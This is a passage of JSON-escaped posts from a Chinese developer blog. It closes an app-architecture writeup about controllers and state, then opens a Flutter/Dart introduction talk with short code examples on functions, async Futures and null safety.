id=\"控制器类式\"\u003e控制器类式\u003c/h3\u003e\n\u003cp\u003e第二个是控制器类式,不仅适用于数据加工十分复杂的情况,而且适用于需要视图发出更新请求的情况。在这个情况下,数据的流动不是单纯的单向,而是双向的。而且由于涉及到很多信息,还有很多部件都依赖于一个信息源,这个控制器使用一个类的方式实现比较合适。\n在我的程序中,课表信息是用这个实现的,因为课表信息相当综合,而且很多视图依赖于课表信息。\n我的课表信息包括:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e当前周次信息\u003c/li\u003e\n\u003cli\u003e课程信息\u003c/li\u003e\n\u003cli\u003e课程的时间安排信息\u003c/li\u003e\n\u003cli\u003e根据上面两个信息,预先计算好的按照时间排序的课表信息\u003c/li\u003e\n\u003cli\u003e当前课程信息\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e依赖课表信息的视图有:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e课程表窗口,这个只是单向接受课表信息\u003c/li\u003e\n\u003cli\u003e首页的周次信息显示,单向接受周次信息\u003c/li\u003e\n\u003cli\u003e首页的当前课程卡片,这个不仅可以展示当前课程信息,还可以触发重新加载\u003c/li\u003e\n\u003cli\u003e首页重新加载包括重新加载课表\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e具体图示请看下面总结图中的课表相关部分。\u003c/p\u003e\n\u003ch2 id=\"自行管理状态\"\u003e自行管理状态\u003c/h2\u003e\n\u003cp\u003e虽然很多数据是遵循上面提到的控制器(数据流)系统。我程序有两个数据是自行管理的,也就是说,他不需要上面提到的管道,而是自行管理。因为这些数据依赖于之前已经获取到的数据。我的程序有两个部分是自行管理的:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e查询成绩中,自行选择科目计算均分,这个均分状态是由成绩查询窗口维护的。查询窗口维护一个成绩数组,自己检测选中的科目,然后计算显示。\u003c/li\u003e\n\u003cli\u003e查询打卡成绩中,我们需要维护一个布尔变量,他用来决定显示的是所有记录还是成功记录。显然,这需要依赖于已经返回的数据。大家可以类比为 js 里面对数组进行 filter 操作。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e上面两章想了解更多,可以看\u003ca class=\"link\" href=\"https://legacy.superbart.top/writing/Flutter%20Introduction.html\" target=\"_blank\" rel=\"noopener\"\n \u003eFlutter 介绍\u003c/a\u003e文章中 Flutter 内部的状态管理章节。\u003c/p\u003e\n\u003ch2 id=\"总结\"\u003e总结\u003c/h2\u003e\n\u003cp\u003e最后,我们根据分类,看出以下按照部件和数据流动看出来的布局。其中,横线表示这两个在程序中是紧密相关的,箭头代表了数据流动的方向。紫色的是控制器,蓝绿色的是最终的窗口。\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/XDYou_SAD/general_structure.png\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/XDYou_SAD/general_structure.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\n我们程序的架构是这样的:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e程序是围绕数据运转的,所以总体上遵循仓库架构,其中仓库分成若干组件。\u003c/li\u003e\n\u003cli\u003e各个组件有一条数据流的线性传递方式,控制器作为数据源,也就是仓库,和最终显示组件之间的过滤器和中转站。\u003c/li\u003e\n\u003cli\u003e大致可以看作数据-控制器-界面的三层结构。\u003c/li\u003e\n\u003c/ul\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/xdyou-sad.html"},{"title":"Flutter 介绍","time":"2023-04-29T00:00:00Z","content":"\u003cimg src=\"https://legacy.superbart.top/picture/Flutter%20Introduction/Maggie's%20Butterfly%20Longest%20Daycard%20Short.jpg\" alt=\"Featured image of post Flutter 介绍\" /\u003e\u003cp\u003e有人邀请我去开个沙龙,我决定将这个,这个就是当时我的演讲稿。\u003c/p\u003e\n\u003ch2 id=\"什么是-flutter--flutter-的好处\"\u003e什么是 Flutter \u0026amp; Flutter 的好处\u003c/h2\u003e\n\u003cp\u003eFlutter 是一个跨平台的客户端(以及网络前端)开发工具,官方定义为:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eFlutter 是 Google 开源的应用开发框架,仅通过一套代码库,就能构建精美的、原生平台编译的多平台应用。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e鉴于入门介绍,我就说的明白些。\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e这玩意是用来写客户端程序的,也就是面向用户的程序。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e这个东西能够为很多平台生成应用,尽量做到了“平台无关”。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e这个东西上手比较简单,性能比较高,开发效率很高。\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e目前这个和 React Native 并列两大最流行的跨平台开发平台。而 React Native 还是占用了 React 前端开发框架(Flutter 受 React 影响很大)的优势,Flutter 相比之下就比较小众了,找工作不太好找:-P\u003c/p\u003e\n\u003cp\u003e对我而言,有了 Flutter 的基础,后面要适应其他的类似框架就方便多了。最近我被(zi)人(ji)拉(zhao)过(shi)去(qing)写 vue 去了,我之前没有接触过。但是我稍微看了一下 vue 组合式的教程,就能给人打下手了。CSS 我现在还不会,感觉要会了,我就又会了一个框架(逃)。\u003c/p\u003e\n\u003ch2 id=\"dart-语言介绍\"\u003eDart 语言介绍\u003c/h2\u003e\n\u003cp\u003eFlutter 使用的是 Dart 语言,目前是 Google 专门为 Flutter 设计的语言,因为我根本没找到任何在其他方面用 Dart 编程的例子。而且这玩意曾经还想嵌入到 Chrome\u0026hellip;\u0026hellip;\u003c/p\u003e\n\u003ch3 id=\"dart--javascript--java\"\u003eDart = Javascript + Java\u003c/h3\u003e\n\u003cp\u003e语法像 Javascript,运行时环境像 Java。\u003c/p\u003e\n\u003cp\u003e像 Javascript 在于存在箭头函数,函数变量之类。Dart 对异步的实现 Future 也借鉴了 JS 的 Promise。因为 Dart 设计的时候,对标的就是 JavaScript。\u003c/p\u003e\n\u003cp\u003e而运行环境像 Java,因为他的类设计,编译和运行也很像 Java。类的方面下面会说明。\u003c/p\u003e\n\u003cp\u003eDart 代码的运行有三种方式:一种是直接解释,一种是转码成 Javascript ,一种是编译成 DartVM 虚拟机机器码,然后在 DartVM 里面运行。最后一种有一种 Java VM 的既视感讲道理:-P\u003c/p\u003e\n\u003cp\u003e上面三种方式对应了 Flutter 的开发:调试开发,网页开发,客户端程序。\u003c/p\u003e\n\u003ch3 id=\"给点例子吧\"\u003e给点例子吧\u003c/h3\u003e\n\u003ch4 id=\"基本\"\u003e基本\u003c/h4\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Dart 是强类型语言,但是支持类型推断\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003elineCount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 循环,判断和 C 和 JS 一样\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eweLikeToCount\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003elineCount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ecountLines\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003elineCount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"o\"\u003e--\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003elineCount\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"函数\"\u003e函数\u003c/h4\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 普通函数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003efibonacci\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"n\"\u003en\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003efibonacci\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003efibonacci\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 箭头函数(和 JS 的有点区别)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003efib\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"n\"\u003en\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003en\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003efib\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"n\"\u003efib\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 另一个使用例子 (e) =\u0026gt; print(e))\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003enums\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"m\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"m\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003enums\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eforEach\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"类\"\u003e类\u003c/h4\u003e\n\u003cp\u003e这玩意东西太多了,我就光码字吧:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e类的成员默认都是公共成员,私有成员是在变量名前加 \u003ccode\u003e_\u003c/code\u003e号,有\u003ccode\u003e@protected\u003c/code\u003e宏。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eDart 的类是单向继承,支持接口类\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e支持 abstract 抽象类,也就是需要继承来实现的类\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"异步方法\"\u003e异步方法\u003c/h4\u003e\n\u003cp\u003e先来个定义\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e异步是在很多领域都有的概念,在编程中,是相对于同步的。同步就是一条指令一条指令,按顺序执行。异步则可以同时运行多个任务,执行任务的时候,可以先返回一个“包含进度的实例”。然后有“回调函数”来把该实例中执行的状态返回。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eDart 的异步叫 \u003ccode\u003eFuture\u0026lt;T\u0026gt;\u003c/code\u003e,其中 T 是泛型啦。当你运行异步方法的时候,他会先返回一个 Future 类,然后按需返回结果,或者处理结果。我们有两个方式处理异步编程:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eoneSecond\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eDuration\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003eseconds:\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eFutur\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eprintWithDelay\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003emessage\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"kd\"\u003easync\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003eawait\u003c/span\u003e \u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edelayed\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eoneSecond\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003emessage\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e相当于下面这段代码:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eoneSecond\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eDuration\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003eseconds:\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eprintWithDelay\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003emessage\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edelayed\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eoneSecond\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003ethen\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003e_\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003emessage\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"空安全\"\u003e空安全\u003c/h4\u003e\n\u003cp\u003e在你们使用 C 语言变量的时候,经常出现变量尚未定义就被使用了。Dart 引入了空安全机制,来帮助避免这个现象,让代码更稳定。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 默认所有类型均不可空,类型加问号,表示该变量可空\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 如此写会报编译错误,语言会进行空检查的\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 可以使用 late 表示稍后赋值,但你不能忘了\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003elate\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e当然还有很多,想知道的话请去看官方介绍。我当时看了俩下就上手了\u0026hellip;\u0026hellip;\u003c/p\u003e\n\u003ch2 id=\"flutter-的基本部件介绍\"\u003eFlutter 的基本部件介绍\u003c/h2\u003e\n\u003cp\u003eFlutter 的 Widget 是一个一个的类,描述了在当前的配置和状态下视图所应该呈现的样子。在 Flutter 里面,万物都是围绕部件旋转的。\u003c/p\u003e\n\u003cp\u003e接下来我要展示一个信息卡,用这个方式给大家展示 Flutter 的基本组件。顺便我搞点 HTML 之类的东西,来给大家做点对比。接下来的部件,都是按照 Material 部件来说明的,iOS 的不在此说明。\u003c/p\u003e\n\u003ch3 id=\"text-部件\"\u003eText 部件\u003c/h3\u003e\n\u003cp\u003eText 是用来渲染一段文字的。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" 